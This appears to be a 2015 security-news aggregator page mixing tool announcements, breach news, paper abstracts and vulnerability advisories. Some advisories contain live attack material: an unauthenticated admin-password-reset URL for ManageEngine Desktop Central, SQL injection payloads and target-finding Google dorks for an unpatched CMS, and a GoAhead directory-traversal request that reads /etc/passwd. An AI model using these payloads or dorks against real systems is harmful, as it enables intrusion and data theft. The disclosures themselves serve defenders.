Quantcast
Channel: BOT24
Viewing all 8064 articles
Browse latest View live

oledump And XML With Embedded OLE Object

$
0
0
I updated oledump to handle a new type of malicious document: an XML file, not with VBA macros, but with an embedded OLE object that is a VBS file.

more here............http://blog.didierstevens.com/2015/03/27/oledump-and-xml-with-embedded-ole-object/

AMD Bulldozer Linux ASLR weakness: Reducing entropy by 87.5%

$
0
0
A bug in Linux ASLR implementation which affects some AMD processors has been found. The issue affects to all Linux process even if they are not using shared libraries (statically compiled).

The problem appears because some mmapped objects (VDSO, libraries, etc.) are poorly randomized in an attempt to avoid cache aliasing penalties for AMD Bulldozer (Family 15h) processors.

more here.......http://hmarco.org/bugs/AMD-Bulldozer-linux-ASLR-weakness-reducing-mmaped-files-by-eight.html

apisetschema.dll from windows 10 build 10041

$
0
0
very interesting - api-ms-win-core-debug-minidump was added here.....http://redplait.blogspot.ru/2015/03/apisetschemadll-from-windows-10-build.html


and here http://redplait.blogspot.ru/2015/03/windows-10-build-10041-w32pservicetable.html
referencing W32pServiceTable


and finally here ........http://redplait.blogspot.ru/2015/03/kiservicetable-from-windows-10-build.html
regarding KiServiceTable from windows 10 build 10041

Android malware goes Mono (.NET) and Lua!

$
0
0
In December I attended a (really great!) Botconf 2014 conference. During that conference I gave a lightning talk about an interesting Android malware sample that (presumably) used Lua and Mono (hence, .NET) as a way of obfuscation. Very recently @tbiehn Tweeted to me a solution for a problem that I run into during the analysis.

more here...........http://maldr0id.blogspot.in/2015/03/android-malware-goes-mono-net-and-lua.html

March 2015 Slack Security Incident, the Launch of Two Factor Authentication & Article titled "Slack Hack-Broken Model of Centralized Data"

$
0
0
We were recently able to confirm that there was unauthorized access to a Slack database storing user profile information. We have since blocked this unauthorized access and made additional changes to our technical infrastructure to prevent future incidents. We have also released two factor authentication and we strongly encourage all users to enable this security feature.

more here......http://slackhq.com/post/114696167740/march-2015-security-incident-and-launch-of-2fa


and an additional article titled "Slack Hack and Broken Model of Centralized Data
The recent Slack hack is another example of a fundamentally flawed model where a centralized company holds user data and provides access control." here......https://medium.com/@muneeb/slack-hack-and-centralized-data-b71bbe1b9377

Manage Engine Desktop Central 9 - CVE-2015-2560 - Unauthorised administrative password reset

$
0
0
Desktop Central is integrated desktop and mobile device management software that helps in 
managing servers, laptops, desktops, smartphones, and tablets from a central location.

A vulnerability exists in the Manage Engine Desktop Central 9 application that affects 
version (build 90130). This may affect earlier releases as well.

The vulnerability allows a remote unauthenticated user to change the password of any ManageEngine Desktop Central user with the ‘Administrator’ role (DCAdmin).
The following proof of concept URL changes the ‘admin’ user password to ‘admin3’.

http://<IP>:8020/servlets/DCOperationsServlet?operation=addOrModifyUser&roleId=DCAdmin&userName=admin&password=admin3

The XML response suggests the user modification failed, however a user can perform a successful login with the supplied
credentials:

<operation>
<operationstatus>Failure</operationstatus>
<message>Problem while modifying user admin in DC.</message>
</operation>

Complete control of the application can now be obtained by an unauthorised user.

Vulnerability remediation:
This vulnerability was fixed in Desktop Central build 90135. Refer to the vendor advisory for product update
information and instructions.

Vendor advisory:
https://www.manageengine.com/products/desktop-central/unauthorized-admin-credential-modification.html

Disclosure timeline:

Vendor notification: 02/02/2015
Follow up with Vendor: 16/02/2015
Fixed released: 18/02/2015
CVE requested: 06/03/2015
CVE assigned: 20/03/2015
Vendor notification: 24/03/2015
Public disclosure: 27/03/2015

Retro Game Internals: Punch-Out Passwords

$
0
0
The NES game “Mike Tyson’s Punch-Out” uses a password system to allow players to continue from certain points in the game. Each password consists of 10 digits, each of which can be any number from 0 to 9. There are 2 kinds of passwords that the game will accept, which I’ll call “regular” and “special” passwords. Special passwords are specific sets of 10 digits that the game looks for and reacts to in a unique way when they are entered.

more here..........http://tomorrowcorporation.com/posts/retro-game-internals-punch-out-passwords

Tracy - PHP debugger

$
0
0
Tracy library is a useful PHP everyday programmer's helper. It helps you to:

quickly detect and correct errors
log errors
dump variables
measure the time

more here.......https://github.com/nette/tracy

Skylines-Debugger

$
0
0
Mod debugging/ reverse engineering tool for Cities: Skylines here.....https://github.com/Skylines-ModTools/Skylines-ModTools

Safari FILE: scheme security hole

$
0
0
It appears that Safari does not enforce any kind of access restrictions for XMLHTTPRequests on FILE: scheme URLs.  As a result, any HTML file on the local file system that is opened in
Safari can read any file that the user has access to (and, of course, it can upload those files too). A little PoC here...... https://gist.github.com/rongarret/d8987c9cd57bd768e1de

(0DAY) WebDepo -SQL injection / INURL BRASIL

$
0
0
Advisory: SQLi-vulnerabilities in aplication CMS WebDepo
Affected aplication web: Aplication CMS WebDepo  (Release date: 28/03/2014)
Vendor URL: http://www.webdepot.co.il
Vendor Status: 0day

==========================
Vulnerability Description:
==========================

Records and client practice management application
CMS WebDepo suffers from multiple SQL injection vulnerabilitie

==========================
Technical Details:
==========================
SQL can be injected in the following GET
GET VULN:     wood=(id)
$wood=intval($_REQUEST['wood'])

==========================
SQL injection vulnerabilities
==========================

Injection is possible through the file text.asp

Exploit-Example:

DBMS: 'MySQL'
Exploit:      +AND+(SELECT 8880 FROM(SELECT
COUNT(*),CONCAT(0x496e75726c42726173696c,0x3a3a,version(),(SELECT (CASE
WHEN (8880=8880) THEN 1 ELSE 0 END)),0x717a727a71,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)

DBMS: 'Microsoft Access'
 Exploit:
 +UNION+ALL+SELECT+NULL,NULL,NULL,CHR(113)&CHR(112)&CHR(120)&CHR(112)&CHR(113)&CHR(85)&CHR(116)&CHR(106)&CHR(110)&CHR(108)&CHR(90)&CHR(74)&CHR(113)&CHR(88)&CHR(116)&CHR(113)&CHR(118)&CHR(111)&CHR(100)&CHR(113),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL
FROM MSysAccessObjects%16

Ex: http://target.us/text.asp?wood=(id)+Exploit

==========================
SCRIPT EXPLOIT
==========================

http://pastebin.com/b6bWuw7k
--help:
    -t : SET TARGET.
    -f : SET FILE TARGETS.
    -p : SET PROXY
    Execute:
    php WebDepoxpl.php -t target
    php WebDepoxpl.php -f targets.txt
    php WebDepoxpl.php -t target -p 'http://localhost:9090'

 howto: http://blog.inurl.com.br/2015/03/0day-webdepo-sql-injection.html

==========================
GOOGLE DORK
==========================

inurl:"text.asp?wood="
site:il inurl:"text.asp?wood="
site:com inurl:"text.asp?wood="

==========================
Solution:
==========================

Sanitizing all requests coming from the client

==========================
Credits:
==========================

AUTHOR:          Cleiton Pinheiro / Nick: googleINURL
Blog:           http://blog.inurl.com.br
Twitter:        https://twitter.com/googleinurl
Fanpage:        https://fb.com/InurlBrasil
Pastebin        http://pastebin.com/u/Googleinurl
GIT:            https://github.com/googleinurl
PSS:            http://packetstormsecurity.com/user/googleinurl
YOUTUBE:        http://youtube.com/c/INURLBrasil
PLUS:           http://google.com/+INURLBrasil

==========================
References:
==========================

[1] http://blog.inurl.com.br/2015/03/0day-webdepo-sql-injection.html
[2] https://msdn.microsoft.com/en-us/library/ff648339.aspx

Advisory: CVE-2014-9708: Appweb Web Server

Advisory: CVE-2014-9707: GoAhead Web Server 3.0.0 - 3.4.1

$
0
0
Affected software: GoAhead Web Server
Affected versions: 3.0.0 - 3.4.1 (3.x.x series before 3.4.2)
CVE ID: CVE-2014-9707

Description: The server incorrectly normalizes HTTP request URIs that
contain path segments that start with a "." but are not entirely equal
to "." or ".." (eg. ".x"). By sending a request with a URI that
contains these incorrectly handled segments, it is possible for remote
attackers to cause a heap overflow with attacker-controlled content or
perform a directory traversal attack.

Fixed version: 3.4.2
Bug entry: https://github.com/embedthis/goahead/issues/106
Fix: https://github.com/embedthis/goahead/commit/eed4a7d177bf94a54c7b06ccce88507fbd76fb77
Reported by: Matthew Daley

Detail:

The vulnerability lies in the websNormalizeUriPath function. This
function correctly handles the normalization of URIs consisting of
normal segments as well as "." and ".." segments, but fails to handle
other segments that start with a '.' character.


A quick runthrough of the important parts of this function:

The function starts by splitting up the URI into segments (at forward
slashes) into an array. At the same time, it calculates the total
length of these segments.

The function then iterates through the resulting array in order to
perform an in-place normalization (both the input and output pointers
point to the same array):

* If a given segment does not start with a '.', it is simply copied from the
  current input pointer to the current output pointer. The for loop's
  increment code will then advance both the input and output pointers.

* Otherwise, if the segment is "." or "..", the input and output pointers are
  adjusted appropriately (taking into account the for loop's increment code)
  but (correctly) no segment is copied.

* Otherwise the segment starts with a '.' but is not "." nor ".."; in this
  case the function incorrectly does nothing and both the input and output
  pointers are simply advanced by the for loop's increment code. This
  effectively skips over a segment in the segment array without any
  modification by the function.

After this iteration has completed, a string buffer for the final
output is allocated. The size used for this allocation comes from the
previously-calculated total segment length, with the addition of space
for forward slashes to join the segments back together again and a
null terminator. The segments in the array up to the final output
pointer are joined together in this buffer with forward slashes
separating them.


There are two ways to exploit this incorrect handling of certain segments:


1) Heap overflow

The heap overflow exploitation lies in the possibility to create a
disconnect between the lengths of the segments left in the segment
array after the iteration has completed and the previously-calculated
total segment length. The previously-calculated length should, in
theory, be the worst-case (longest) final output string buffer size
required (when all segments are left and none are removed by the
normalization iteration). However, since we can force the iteration to
skip over certain segments in the array, it is possible to effectively
duplicate segments in the resulting array; this is done by having the
segment copied from one location to another but then also having the
original copy skipped over, making it appear in the resulting array
twice. When this is done, the previously-calculated length is no
longer long enough for the final output's string buffer, and a heap
overflow occurs while joining together the final result.

As an example, take the following URI as input to the function:
"/./AAAAAAAA/.x".

The URI is first split into the segments "", ".", "AAAAAAAA" and ".",
with the total segment length calculated as 0 + 1 + 8 + 2 = 11 bytes.

The normalization iteration proceeds as follows:

* The "" segment is simply copied from input to output, and hence remains
  unchanged. Both the input and output pointers are then advanced.

* The "." segment causes the output pointer to stay in place while the input
  pointer advances forward.

* The "AAAAAAAA" segment is simply copied from input to output, and hence
  overwrites the previous "." segment. Both the input and output pointers are
  then advanced.

* Finally, the ".x" segment is incorrectly handled: no modification of
  segments is performed but both the input and output pointers are still
  advanced, moving the output pointer over the original "AAAAAAAA" segment.

Hence, the resulting segments in the array that are left up to the
final output pointer are "", "AAAAAAAA" and "AAAAAAAA". Note that the
"AAAAAAAA" segment has been duplicated. These segments, including
space for forward slashes to join them together with and a null
terminator, have a total length of 0 + 8 + 8 + 2 + 1 = 19 bytes.

A string buffer is then allocated for the final output, which uses the
previously-calculated total segment length of 11 bytes plus 3 bytes
for forward slashes and 1 byte for a null terminator, giving a total
size of 11 + 3 + 1 = 15 bytes.

The resulting segments are finally joined together into this final
output string buffer. In doing so in this case, however, the buffer is
overflowed by 19 - 15 = 4 bytes.

So, a remote attacker can make (ie.) a simple HTTP GET request for the
URI in question and cause a heap overflow. ASAN gives the following
output in this case, which shows the exact moment that the heap
overflow occurs:

=================================================================
==2613==ERROR: AddressSanitizer: heap-buffer-overflow on address
0x60200000d47f at pc 0x7ffff6f34020 bp 0x7fffffffd410 sp
0x7fffffffcbd0
WRITE of size 9 at 0x60200000d47f thread T0
    #0 0x7ffff6f3401f in __interceptor_strcpy
(/usr/lib/x86_64-linux-gnu/libasan.so.1+0x2f01f)
    #1 0x7ffff63a7d6d in websNormalizeUriPath src/http.c:3320
    #2 0x7ffff639b4de in parseFirstLine src/http.c:969
    #3 0x7ffff639a905 in parseIncoming src/http.c:880
    #4 0x7ffff639a4c9 in websPump src/http.c:829
    #5 0x7ffff639a19c in readEvent src/http.c:802
    #6 0x7ffff6399de7 in socketEvent src/http.c:740
    #7 0x7ffff6399cbc in websAccept src/http.c:719
    #8 0x7ffff63ac8ed in socketAccept src/socket.c:327
    #9 0x7ffff63ade95 in socketDoEvent src/socket.c:638
    #10 0x7ffff63add5f in socketProcess src/socket.c:622
    #11 0x7ffff639daf8 in websServiceEvents src/http.c:1307
    #12 0x401b5c in main src/goahead.c:153
    #13 0x7ffff597ab44 in __libc_start_main
(/lib/x86_64-linux-gnu/libc.so.6+0x21b44)
    #14 0x4011d8
(/home/matthew/goahead-3.4.1/build/linux-x64-debug/bin/goahead+0x4011d8)

0x60200000d47f is located 0 bytes to the right of 15-byte region
[0x60200000d470,0x60200000d47f)
allocated by thread T0 here:
    #0 0x7ffff6f5973f in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.1+0x5473f)
    #1 0x7ffff63a7d04 in websNormalizeUriPath src/http.c:3318
    #2 0x7ffff639b4de in parseFirstLine src/http.c:969
    #3 0x7ffff639a905 in parseIncoming src/http.c:880
    #4 0x7ffff639a4c9 in websPump src/http.c:829
    #5 0x7ffff639a19c in readEvent src/http.c:802
    #6 0x7ffff6399de7 in socketEvent src/http.c:740
    #7 0x7ffff6399cbc in websAccept src/http.c:719
    #8 0x7ffff63ac8ed in socketAccept src/socket.c:327
    #9 0x7ffff63ade95 in socketDoEvent src/socket.c:638
    #10 0x7ffff63add5f in socketProcess src/socket.c:622
    #11 0x7ffff639daf8 in websServiceEvents src/http.c:1307
    #12 0x401b5c in main src/goahead.c:153
    #13 0x7ffff597ab44 in __libc_start_main
(/lib/x86_64-linux-gnu/libc.so.6+0x21b44)
(... snip ...)

As with all heap overflows, it's likely that this can then go on to be
exploited in order to gain full remote code execution, especially in
embedded systems which are less likely to have heap allocators with
modern hardening techniques.


2) Directory traversal

The directory traversal exploitation lies in the fact that we can
force the normalization iteration to skip over certain segments in the
array; namely, we can force it to skip over a ".." segment. The ".."
segment will pass through unchanged into the final output string
buffer, where it is treated by the rest of the server as an actual
parent-directory relative segment.

As an example, take the following URI as input to the function:
"/../../../../../.x/.x/.x/.x/.x/.x/etc/passwd".

The URI is first split into the segments "", "..", "..", "..", "..",
"..", ".x", ".x", ".x", ".x", ".x", ".x", "etc", and "passwd". (The
total segment length that is calculated during this operation is
irrelevant for this mode of exploitation.)

When the normalization iteration reaches the ".x" segments, the
contents of the segment array are still untouched (as all the previous
segments are either empty or are "..") and the output pointer is still
pointing back at the "" segment. The incorrect handling of the ".x"
segments only causes the output (and input) pointers to be advanced
forward over the "" and ".." segments.

When the iteration reaches the "etc" segment, all the "" and ".."
segments have been skipped over; the output pointer is now pointing at
the first ".x" segment. The "etc" is copied over the first ".x"
segment, and the "passwd" segment is copied over the second ".x"
segment.

Hence, the resulting segments in the array that are left up to the
final output pointer are "", "..", "..", "..", "..", "..", "etc" and
"passwd"; note that the ".." segments are still present.

The final output string buffer is created and the resulting segments
are joined together to give a string of "/../../../../../etc/passwd".

The rest of the server is expecting that the result from the function
is normalized and that it contains no relative segments. Hence, the
".." segments go unnoticed when opening the content file while
handling the HTTP request. The end result is that the local filesystem
is traversed up from the administrator-configured web root until
reaching the filesystem's root directory and back down again into the
"/etc/passwd" file. Hence, the file "/etc/passwd" is given in response
to the HTTP request, regardless of the configured web root.

So, a remote attacker can make (ie.) a simple HTTP GET request for the
URI in question and get the contents of the "/etc/passwd" file:

$ echo -ne 'GET /../../../../../.x/.x/.x/.x/.x/.x/etc/passwd
HTTP/1.0\r\n\r\n' | nc localhost 4700
HTTP/1.0 200 OK
Server: GoAhead-http
Date: Sun Nov 16 17:21:01 2014
Content-Length: 1346
Connection: close
Last-Modified: Sat Oct 25 17:07:25 2014

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
(... snip ...)

Of course, 5 ".." segments may not be enough to reach the filesystem's
root directory in all cases and so the crafted URI may have to be
extended with more ".." and ".x" segments.

Why you need to hash reset_token like password

Beta Bot Trojan

$
0
0
In this article, I would like to show how an analysis is performed on the Beta Bot trojan to identify its characteristics. The Beta Bot trojan, classified as Troj/Neurevt-A, is a dangerous trojan. This trojan is transferred to the victim machine through a phishing email, and the user downloads the files disguised as a legitimate program. This malicious file, when executed, drops a file in the victim machine, then changes system and browser behaviors and also generates HTTP POST traffic to some malicious domains. Beta Bot has various capabilities, including disabling AV, preventing access to security websites, and changing the settings of the browser.

more here.......http://resources.infosecinstitute.com/beta-bot-trojan/

JADX

[ WALKTHROUGH : SYSCAN 2015 BADGE CHALLENGE ]

UACMe

$
0
0
Defeating Windows User Account Control by abusing built-in Windows AutoElevate backdoor.

Embedded image permalink


Access AutoElevation UAC bypass methods from ITW malware combined in UACMe here....https://github.com/hfiref0x/UACME

Paper: COUN­TER­FEIT OB­JECT-ORI­EN­TED PRO­GRAMMING: ON THE DIF­FI­CUL­TY OF PREVEN­TING CODE REUSE AT­TACKS IN C++ AP­P­LI­CA­TI­ONS

$
0
0
Code reuse at­tacks such as re­turn-ori­en­ted pro­gramming (ROP) have be­co­me pre­va­lent tech­ni­ques to ex­ploit me­mo­ry cor­rup­ti­on vul­nerabi­li­ties in soft­ware pro­grams. A va­rie­ty of cor­re­spon­ding de­fen­ses has been pro­po­sed, of which some have al­re­a­dy been suc­cess­ful­ly by­pas­sed—and the arms race con­ti­nues.
In this paper, we per­form a sys­te­ma­tic as­sess­ment of re­cent­ly pro­po­sed CFI so­lu­ti­ons and other de­fen­ses against code reuse at­tacks in the con­text of C++. We de­mons­tra­te that many of these de­fen­ses that do not con­s­i­der ob­ject-ori­en­ted C++ se­man­ti­cs pre­cise­ly can be ge­ne­ri­cal­ly by­pas­sed in prac­tice. Our novel at­tack tech­ni­que, de­no­ted as coun­ter­feit ob­ject-ori­en­ted pro­gramming (COOP), in­du­ces ma­li­cious pro­gram be­ha­vi­or by only in­vo­king chains of exis­ting C++ vir­tu­al func­tions in a pro­gram through cor­re­spon­ding exis­ting call sites. COOP is Tu­ring com­ple­te in rea­lis­tic at­tack sce­na­ri­os and we show its via­bi­li­ty by de­ve­lo­ping so­phis­ti­ca­ted, re­al-world ex­ploits for In­ter­net Ex­plo­rer 10 on Win­dows and Fi­re­fox 36 on Linux. Mo­re­over, we show that even re­cent­ly pro­po­sed de­fen­ses (CPS, T-VIP, vf­Guard, and VTint) that spe­ci­fi­cal­ly tar­get C++ are vul­nerable to COOP. We ob­ser­ve that con­struc­ting de­fen­ses resi­li­ent to COOP that do not re­qui­re ac­cess to sour­ce code seems to be chal­len­ging. We be­lie­ve that our in­ves­ti­ga­ti­on and re­sults are hel­pful cont­ri­bu­ti­ons to the de­sign and im­ple­men­ta­ti­on of fu­ture de­fen­ses against con­trol-flow hi­ja­cking at­tacks.

more here...........http://syssec.rub.de/media/emma/veroeffentlichungen/2015/03/28/COOP-Oakland15.pdf

Paper: CROSS-AR­CHI­TEC­TU­RE BUG SE­ARCH IN BI­NA­RY EXE­CU­TA­BLES

$
0
0
With the ge­ne­ral avail­a­bi­li­ty of clo­sed-sour­ce soft­ware for va­rious CPU ar­chi­tec­tu­res, there is a need to iden­ti­fy se­cu­ri­ty-cri­ti­cal vul­nerabi­li­ties at the bi­na­ry level to per­form a vul­nerabi­li­ty as­sess­ment. Un­for­t­u­n­a­te­ly, exis­ting bug fin­ding me­thods fall short in that they i) re­qui­re sour­ce code, ii) only work on a sin­gle ar­chi­tec­tu­re (ty­pi­cal­ly x86), or iii) rely on dy­na­mic ana­ly­sis, which is in­her­ent­ly dif­fi­cult for em­bed­ded de­vices.
In this paper, we pro­po­se a sys­tem to de­ri­ve bug si­gna­tu­res for known bugs. We then use these si­gna­tu­res to find bugs in bi­na­ries that have been de­ploy­ed on dif­fe­rent CPU ar­chi­tec­tu­res (e.g., x86 vs. MIPS). The va­rie­ty of CPU ar­chi­tec­tu­res im­po­ses many chal­len­ges, such as the in­com­pa­ra­bi­li­ty of in­struc­tion set ar­chi­tec­tu­res bet­ween the CPU mo­dels. We solve this by first trans­la­ting the bi­na­ry code to an in­ter­me­dia­te re­pre­sen­ta­ti­on, re­sul­ting in as­si­gnment for­mu­las with input and out­put va­ria­bles. We then samp­le con­cre­te in­puts to ob­ser­ve the I/O be­ha­vi­or of basic blocks, which grasps their se­man­ti­cs. Fi­nal­ly, we use the I/O be­ha­vi­or to find code parts that be­ha­ve si­mi­lar­ly to the bug si­gna­tu­re, ef­fec­tive­ly re­vea­ling code parts that con­tain the bug.
We have de­si­gned and im­ple­men­ted a tool for cross-ar­chi­tec­tu­re bug se­arch in exe­cu­ta­bles. Our pro­to­ty­pe cur­rent­ly sup­ports three in­struc­tion set ar­chi­tec­tu­res (x86, ARM, and MIPS) and can find vul­nerabi­li­ties in buggy bi­na­ry code for any of these ar­chi­tec­tu­res. We show that we can find Heart­bleed vul­nerabi­li­ties, re­gard­less of the un­der­ly­ing soft­ware in­struc­tion set. Si­mi­lar­ly, we apply our me­thod to find back­doors in clo­sed-sour­ce firm­ware ima­ges of MIPS- and ARM-ba­sed rou­ters.

more here.........http://syssec.rub.de/media/emma/veroeffentlichungen/2015/03/28/XArchBugs-Oakland15.pdf
Viewing all 8064 articles
Browse latest View live